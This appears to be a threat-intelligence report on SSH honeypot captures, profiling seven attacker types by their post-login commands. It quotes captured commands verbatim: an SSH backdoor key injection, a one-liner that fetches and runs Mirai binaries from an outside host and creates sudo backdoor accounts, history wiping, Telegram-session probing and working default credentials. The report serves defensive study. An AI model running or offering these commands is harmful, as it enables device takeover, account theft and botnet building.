TI-2026-037B
The Ghost Machines
The First Ten Seconds โ What Attackers Do the Moment They Get In
I. Abstract โ 670 Confessions
Every SSH session is a confession.
The attacker cannot help it. The moment they gain access, they must act โ and the first commands they execute reveal exactly who they are and what they want. Not who they claim to be. Not what they say they're doing. What they actually do in the first ten seconds after login.
The LSN honeypot has captured 670 commands from 53 distinct source IPs across 131 unique command strings. These commands cluster into seven behavioral profiles โ seven different types of operators, each with a different purpose, different tools, different targets, and different levels of sophistication.
This is not a report about IP addresses or threat scores. This is a behavioral taxonomy of post-compromise operations โ a field guide to the seven species that inhabit the SSH attack ecosystem.
๐ The Honeypot Command Landscape
| Category | Count | What It Means |
|---|---|---|
| Reconnaissance | 171 commands | System identification, resource assessment |
| Download | 27 commands | Malware retrieval from C2 servers |
| Persistence | 22 commands | SSH key injection, account creation, backdoors |
| Other/Uncategorized | 450 commands | Anti-forensics, testing, heartbeats, competitor removal |
670 total commands from 53 distinct source IPs. Period: March โ June 2026.
What follows is the complete behavioral profile of each operator type โ their commands quoted verbatim, their infrastructure identified, their purpose decoded from what they do rather than what they say.
II. The Taxonomy โ Seven Operator Profiles
The 53 command-executing IPs sort into seven distinct behavioral profiles. Each profile represents a different business model built on the same raw material: unauthorized SSH access.
๐ฌ Seven Species of SSH Attacker
| # | Profile | IPs | Commands | Purpose | Sophistication |
|---|---|---|---|---|---|
| 1 | The Cataloger | 16 | Telegram + MikroTik + GSM + Miner check | Multi-purpose intelligence harvest | ๐ด Very High |
| 2 | The "mdrfckr" | 6 | SSH key injection + password change + CPU check | Cryptomining + persistent access | ๐ High |
| 3 | The "meow" | 2 | Download meow/meowarm64, create backdoor accounts | IoT botnet recruitment (Mirai variant) | ๐ก Medium |
| 4 | The Ghost | 3 | unset HISTFILE first, then probe | Careful manual exploitation | ๐ High |
| 5 | The GPU Hunter | 3 | lspci | grep nvidia, GPU detection, cat/ls help | Cryptomining with GPU assessment | ๐ก Medium |
| 6 | The Competitor Killer | 4 | rm secure.sh, pkill auth.sh, clear hosts.deny | Botnet territorial control | ๐ก Medium |
| 7 | The Heartbeat | 1 | echo BMOK ร 111 | Botnet availability check | ๐ข Low |
There is an eighth profile โ The Proxy Hunter โ documented extensively in TI-2026-037A. That operator runs the most sophisticated single command we have captured: a 1,247-character reconnaissance script that evaluates SSH tunnel capability, proxy tool inventory, router firmware, and sudo access. It operates from a dedicated 6-node cluster and is documented separately because it represents an entirely different scale of operation.
What follows is the forensic decomposition of each profile.
III. Profile 1: The Cataloger โ Telegram, MikroTik, and SIM Cards
Sixteen IPs execute the same sequence of commands. Not similar commands โ the same commands, in the same order. This is a single operator controlling 16 scanning nodes.
Their command sequence reveals an operator who wants everything:
๐ฌ The Cataloger's Full Command Sequence
# STEP 1: Device identification uname -a # What is this machine? ifconfig # What's its real IP? cat /proc/cpuinfo # How powerful is it? echo Hi | cat -n # Shell capability test # STEP 2: Competition check ps -ef | grep '[Mm]iner' # Already mining? (someone else got here first) ps | grep '[Mm]iner' # Same check, fallback for busybox # STEP 3: Router firmware detection /ip cloud print # MikroTik RouterOS command # STEP 4: TELEGRAM SESSION THEFT ls -la ~/.local/share/TelegramDesktop/tdata # Current user's Telegram ls -la /home/*/.local/share/TelegramDesktop/tdata # ALL users' Telegram # STEP 5: GSM/SMS MODEM DETECTION ls -la /dev/ttyGSM* # GSM modem devices ls -la /dev/ttyUSB-mod* # USB modem devices ls -la /var/spool/sms/* # SMS spool directory ls -la /var/log/smsd.log # SMS daemon log ls -la /etc/smsd.conf* # SMS daemon config ls -la /usr/bin/qmuxd # Qualcomm MUX daemon (LTE modems) ls -la /var/qmux_connect_socket # Qualcomm MUX socket ls -la /etc/config/simman # SIM manager config ls -la /dev/modem* # Generic modem devices ls -la /var/config/sms/* # SMS config directory # STEP 6: INFECTION MARKER locate D877F783D5D3EF8Cs # Check for specific prior compromise
This is the most revealing command sequence in the entire honeypot. Read it again.
This operator is not just looking for servers. They are looking for devices that have:
- Telegram desktop sessions โ authentication tokens stored in
tdata/that can be stolen and used to hijack accounts remotely. A stolen Telegram session grants full access to messages, contacts, channels, and groups without triggering 2FA. - GSM/SMS modems โ physical SIM-equipped devices that can send and receive SMS messages. These are gold for bypassing SMS-based two-factor authentication. A compromised device with a SIM card becomes an SMS relay for account takeover operations.
- MikroTik routers โ via the
/ip cloud printRouterOS command. MikroTik devices are prime targets for proxy botnets (as documented in TI-2026-037A).
locate command searches the system's file index database. If the marker is found, the operator skips the device (already owned). If not found, it's a fresh target. This is inventory management for botnets โ deduplication at scale. The alphanumeric string matches the pattern of truncated SHA-256 hashes, suggesting the marker is derived from the malware binary's hash.The business model is layered: one compromised device can serve as a proxy node (MikroTik), a Telegram account theft vector (tdata), AND an SMS relay (GSM modem) simultaneously. The Cataloger doesn't pick one purpose โ it catalogs all monetizable capabilities and sells access to each layer separately.
IV. Profile 2: The "mdrfckr" โ SSH Key Injection + Cryptomining
Six IPs share an identical behavior pattern: inject an SSH public key, change the system password, assess CPU resources, and check for competing miners. The SSH key's comment field reads: mdrfckr.
๐ฌ The mdrfckr Injection Sequence
# STEP 1: Remove existing SSH config and inject backdoor key cd ~; chattr -ia .ssh; lockr -ia .ssh # โ Remove immutable+append-only flags (defeating other botnets' protection) cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAAB JQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bU anUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eL BHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYM b66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+ u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAy SVKPRK+oRw== mdrfckr">>.ssh/authorized_keys # โ Permanent backdoor โ survives password changes, reboots, everything chmod -R go= ~/.ssh # โ Set correct permissions so SSH accepts the key # STEP 2: Change passwords with generated random strings echo -e "ubuntu\nKJLvCPcBKgDA\nKJLvCPcBKgDA"|passwd|bash # or: echo "root:yCvI0vHcNCYW"|chpasswd|bash # โ Lock out the original owner AND other attackers # STEP 3: Resource assessment for mining cat /proc/cpuinfo | grep name | wc -l # How many CPU cores? cat /proc/cpuinfo | grep name | head -n 1 # What CPU model? cat /proc/cpuinfo | grep model | grep name # Alternative CPU check free -m | grep Mem # Available RAM df -h | head -n 2 # Disk space ls -lh $(which ls) # Coreutils or busybox? crontab -l # Existing scheduled tasks w # Who else is logged in?
๐ธ๏ธ The mdrfckr Operators
| IP | Country | ASN | Provider | Threat | Abuse |
|---|---|---|---|---|---|
| 165.154.36.71 | ๐บ๐ธ US | AS135377 | UCloud (Hong Kong) | 76 | 100 |
| 172.211.56.214 | ๐ณ๐ฑ NL | AS8075 | Microsoft Azure | 96 | 100 |
| 45.172.152.74 | ๐ฉ๐ด DO | AS27847 | Tecnologรญa Digital S.A. | 78 | 100 |
The "mdrfckr" key has been documented since at least 2019 (Trend Micro report on Linux coin miners). The same RSA-2048 public key has been observed in thousands of honeypots worldwide over 7+ years. It is one of the longest-running SSH backdoor keys in active circulation โ and it still works.
Note the infrastructure: UCloud (Hong Kong subsidiary in US), Microsoft Azure (Netherlands), and a Dominican Republic ISP. The operator uses major cloud providers as scanning platforms. Microsoft Azure, which hosts millions of legitimate enterprise services, is simultaneously hosting SSH backdoor injection operations.
The chattr -ia .ssh and lockr -ia .ssh commands reveal another detail: this operator knows that other botnets protect their SSH keys by setting the immutable flag (chattr +i) on the .ssh directory. The mdrfckr operator removes these protections before injecting their own key. This is botnet warfare โ each operator fights to maintain exclusive access to compromised devices.
V. Profile 3: The "meow" โ Google Cloud Weaponized Against IoT
Two scanning IPs โ both on Google Cloud โ deploy a Mirai variant called "meow." The operation is notable not for its sophistication, but for its complete vertical integration on a single cloud provider.
๐ฌ The meow Deployment Sequence (Complete)
# Single command โ privilege escalation + download + deploy + persist echo 'toor' | sudo -S sh -c ' cd /tmp; ulimit -n 1020000; # Max file descriptors (for DDoS) rm -rf meow*; # Remove previous versions wget http://35.237.91.38/meow; # Download x86 binary FROM GOOGLE CLOUD curl -O http://35.237.91.38/meow; # Fallback download method chmod 777 meow; ./meow; # Execute x86 variant wget http://35.237.91.38/meowarm64; # Download ARM64 binary curl -O http://35.237.91.38/meowarm64;# Fallback chmod 777 meowarm64; ./meowarm64; # Execute ARM variant echo $(whoami):modzmodz | chpasswd; # Change current user password useradd -m -s /bin/bash admin1; # Create backdoor account #1 echo admin1:modzmodz | chpasswd; # Set password: modzmodz usermod -aG sudo admin1; # Grant sudo to backdoor useradd -m -s /bin/bash user1; # Create backdoor account #2 echo user1:modzmodz | chpasswd; # Same password echo -n $(whoami):toor > /tmp/mew # Log original credentials '
โ๏ธ The Google Cloud Attack Pipeline
| Role | IP | Provider | Function |
|---|---|---|---|
| Scanner #1 | 35.196.255.242 | Google Cloud | SSH brute-force, 72 commands executed |
| Scanner #2 | 34.85.232.35 | Google Cloud | SSH brute-force, 24 commands executed |
| C2 Server #1 | 35.237.91.38 | Google Cloud | Hosts meow/meowarm64 binaries |
| C2 Server #2 | 34.181.210.37 | Google Cloud | Backup C2, same binaries |
All four IPs are Google Cloud Platform. The scanner, the C2, and the backup C2 are all on the same cloud provider. The operator is using Google's infrastructure to scan for victims, host malware, and deploy it โ all within Google's network.
The binary names โ meow and meowarm64 โ indicate a Mirai variant. The original Mirai source code was published in 2016 and has spawned hundreds of variants. This particular variant targets both x86 (servers, VMs) and ARM64 (routers, IoT devices, Raspberry Pi). The attacker deploys both, letting the wrong architecture fail silently.
The password modzmodz and the backdoor accounts admin1/user1 are persistence mechanisms โ if the SSH key gets removed, the attacker can still log in with these accounts. The echo -n $(whoami):toor > /tmp/mew command logs the original credentials, suggesting the operator keeps records of which devices were compromised with which passwords.
VI. Profile 4: The Ghost โ Anti-Forensics Before Everything
Three IPs share an identical pattern: their very first action after login is to disable command history.
๐ฌ The Ghost's Opening Sequence
# FIRST โ erase all traces export HISTFILE=/dev/null # Bash: don't save history to disk export HISTSAVE=/dev/null # Ksh: same unset HISTFILE # Belt and suspenders unset HISTSAVE # Belt and suspenders # THEN โ check if this is a real shell # (empty command โ test shell responsiveness) if ! type export >/dev/null 2>&1; then echo "ERROR: BADtype: export" # Detect honeypot/restricted shell exit # Abort if not a real shell
๐ป The Ghost Operators
| IP | Country | ASN | Provider | Threat |
|---|---|---|---|---|
| 204.111.121.226 | ๐บ๐ธ US | AS4922 | Shenandoah Cable Television | 51.2 |
| 85.227.86.238 | โ | โ | โ | โ |
| 95.97.24.66 | โ | โ | โ | โ |
These operators are the most forensically aware in the dataset. Their first priority is not exploitation โ it's ensuring they leave no trace. The error check for type export is specifically designed to detect honeypots that emulate SSH but don't provide a full bash environment.
This is the profile of a manual operator โ not a bot, not a script. The commands are typed or pasted by a human who knows what log files exist, how bash history works, and how to detect fake shells. The anti-honeypot check (if ! type export) is particularly telling: this operator has encountered honeypots before and been burned by them. They test the environment before revealing their actual tools.
What they do after the anti-forensics setup is invisible to us โ the honeypot logs the commands, but the operator's tradecraft would defeat a real system's forensic recovery. We see the preparation, not the operation.
VII. Profile 5: The GPU Hunter โ Finding Video Cards on Routers
Three IPs from TechTies Inc. (AS197170, registered in Seychelles, operating from Netherlands) execute the most detailed hardware assessment in the dataset:
๐ฌ The GPU Hunter's Assessment
# System fingerprinting uname -s -v -n -m 2>/dev/null uname -m 2>/dev/null cat /proc/uptime 2>/dev/null | cut -d. -f1 # CPU assessment nproc || grep -c "^processor" /proc/cpuinfo grep -m1 -E "model name|Hardware" /proc/cpuinfo lscpu | awk -F: '/Model name/ {print $2}' dmidecode -s processor-version 2>/dev/null # GPU DETECTION lspci 2>/dev/null | grep -i vga # Any video card? lspci 2>/dev/null | grep -i nvidia # NVIDIA specifically # Environment fingerprinting cat --help 2>&1 | tr '\n' ' ' # GNU coreutils or busybox? ls --help 2>&1 | tr '\n' ' ' # Same check โ different programs last 2>/dev/null | head -n 10 # Recent login history
The GPU check is extraordinary. lspci | grep -i nvidia on a compromised SSH server reveals an operator who has encountered GPU-equipped machines before โ and found them worth targeting for GPU-accelerated cryptocurrency mining (specifically Ethereum or its successors). The fact that they check for nvidia specifically tells us exactly which mining software they plan to deploy: something that uses CUDA.
The cat --help and ls --help commands are not about help text. They're about determining whether the system uses GNU coreutils (full Linux installation, likely x86 server) or BusyBox (embedded system, IoT device, router). This distinction determines which binary architecture and which mining software to deploy.
VIII. Profile 6: The Competitor Killer โ Botnet Turf Wars
Four IPs execute a specific cleanup routine before deploying their own payload:
๐ฌ The Competitor Removal Sequence
rm -rf /tmp/secure.sh # Kill rival botnet installer #1 rm -rf /tmp/auth.sh # Kill rival botnet installer #2 pkill -9 secure.sh # Force-kill running rival #1 pkill -9 auth.sh # Force-kill running rival #2 echo > /etc/hosts.deny # Clear IP blacklists (unlock device) pkill -9 sleep # Kill sleep processes (persistence loops)
The filenames secure.sh and auth.sh are deliberate misnomers โ rival botnet operators name their persistence scripts to look like legitimate security tools. The Competitor Killer knows exactly what these files are and removes them by name.
The echo > /etc/hosts.deny command is particularly telling: rival botnets often add the scanning IPs of competitors to hosts.deny to lock them out. The Competitor Killer clears this file to ensure their own scanner nodes can reach the device. And pkill -9 sleep targets the persistence mechanism of simple botnets that use shell scripts with while true; do ... ; sleep 300; done loops.
This is a turf war. Every compromised device with default credentials becomes contested territory. Multiple botnet operators fight for exclusive access, each removing the other's tools and installing their own persistence. The device owner โ who still hasn't changed the default password โ is unaware that their router is a battleground.
IX. Profile 7: The Heartbeat โ 111 Times "BMOK"
IP 103.24.212.42 โ an Indonesian IP on PT Adau Putra Network (AS132649) โ logged in 364 times with 229 successes and executed a single command: echo BMOK. One hundred and eleven times.
๐ The BMOK Heartbeat
| Metric | Value |
|---|---|
| Source IP | 103.24.212.42 |
| Country | ๐ฎ๐ฉ Indonesia |
| ASN | AS132649 (PT Adau Putra Network) |
| Threat Score | 79 |
| Abuse Score | 100 |
| Total Sessions | 364 |
| Successful Logins | 229 |
| Commands Executed | 111 ร "echo BMOK" |
| Downloads | 0 |
"BMOK" likely stands for "Bot Management OK" โ a simple liveness check confirming the device is accessible and responsive. The botnet controller periodically logs in, echoes its status word, and disconnects. No exploitation. Just inventory maintenance.
This is the simplest and most honest profile in the dataset. No reconnaissance. No malware. No backdoors. Just: are you still there? OK.
The implication is chilling in its simplicity: this IP is checking on devices it has already compromised. The 229 successful logins represent 229 confirmed nodes in an active botnet. The 135 failed logins represent nodes that have been patched, taken offline, or secured since the last check. This is an operator managing inventory attrition in real time.
X. The Password Landscape โ What Gets You In
The credential data tells its own story:
๐ Success vs. Failure โ The Full Picture
| Username | Password | Attempts | Success | Target Device |
|---|---|---|---|---|
| โ Successful Credentials (devices with these defaults exist en masse) | ||||
| admin | 123456 | 2,328 | 2,328 | Consumer routers (TP-Link, D-Link) |
| admin | admin | 1,473 | 1,473 | Enterprise switches, managed APs |
| pi | raspberry | 217 | 217 | Raspberry Pi (all models pre-2022) |
| root | root | 38 | 38 | Development/test environments |
| ubuntu | ubuntu | 12 | 12 | Ubuntu cloud images (pre-provisioned) |
| root | admin | 11 | 11 | NAS devices, embedded Linux |
| test | test | 7 | 7 | QA/staging environments |
| โ Failed Credentials (devices with these DON'T exist or are patched) | ||||
| root | (empty) | 6,989 | 0 | Hoped: ancient/misconfigured Linux |
| systemd | Voidsetdownload.so | 23 | 0 | Specific malware credential |
| ubuntu | fjbdfdjkdsfs541544AA@@ | 22 | 0 | Specific compromised instance |
| ubnt | ubnt | 10 | 0 | Ubiquiti default (patched in firmware) |
| root | Google1986. | 13 | 0 | Specific targeted credential |
14,823 total credential attempts. 27.9% overall success rate. The honeypot accepts admin:admin, admin:123456, pi:raspberry, root:root, and other IoT defaults โ exactly what real devices accept.
Two credentials stand out in the failed column:
systemd:Voidsetdownload.so (23 IPs, all failed) โ This is not a guess. This is a specific credential planted by a prior malware infection. The username systemd is designed to blend with legitimate system accounts. The password Voidsetdownload.so is a command-like string that would download a payload if echoed to a shell. Twenty-three different IPs tried this exact combination โ meaning 23 nodes in a botnet were told to access our honeypot with this planted credential. It failed because no prior malware had actually created this account.
root:Google1986. (13 IPs, 9 unique) โ This is a targeted credential, possibly leaked from a specific infrastructure. The pattern "Service + Year + Punctuation" is common in enterprise default passwords that were never changed.
XI. The Tool Ecosystem โ 63 Fingerprints, 9,987 Sessions
The SSH fingerprint (HASSH) data reveals the full ecosystem of attack tools being used worldwide:
๐ง SSH Attack Tool Census
| Tool | Classification | Sessions | IPs | Primary Use |
|---|---|---|---|---|
| libssh_0.9.6 | Botnet | 2,682 | 990 | Mass credential spraying |
| libssh_0.11.x | Scanner | โ | 1,341 | Network reconnaissance |
| OpenSSH_7.4 | Ambiguous | โ | 757 | Could be compromised devices re-scanning |
| libssh2_1.11.0 | Scanner | โ | 671 | Targeted scanning campaigns |
| libssh_0.12.0 | Scanner | โ | 616 | Next-gen scanner deployment |
| Go_SSH | Scanner | โ | 443 | Custom Go-based tools (incl. Proxy Hunters) |
| AsyncSSH_2.1.0 | Scanner | โ | 131 | Python asyncio-based scanning |
| Ncrack | Pentest | 109 | 33 | Password auditing tool (Nmap project) |
| Hydra | Pentest | โ | 33 | THC-Hydra brute forcer |
| Paramiko | โ | โ | 31 | Python SSH library |
63 unique HASSH fingerprints across 9,987 sessions. The dominance of libssh variants (versions 0.9.6, 0.11.x, 0.12.0) indicates that most botnet operators compile their scanners against the libssh C library rather than using higher-level tools. This is efficiency-driven: libssh handles thousands of concurrent connections with minimal memory.
The Ncrack/Hydra cluster (33 IPs each, all sharing the same sample IPs including Google Cloud addresses 34.14.x and 34.38.x) represents legitimate penetration testing tools being used maliciously. These are the same Google Cloud IP ranges as the "meow" deployers โ suggesting a single operator who uses professional pentesting tools for scanning and Mirai variants for deployment.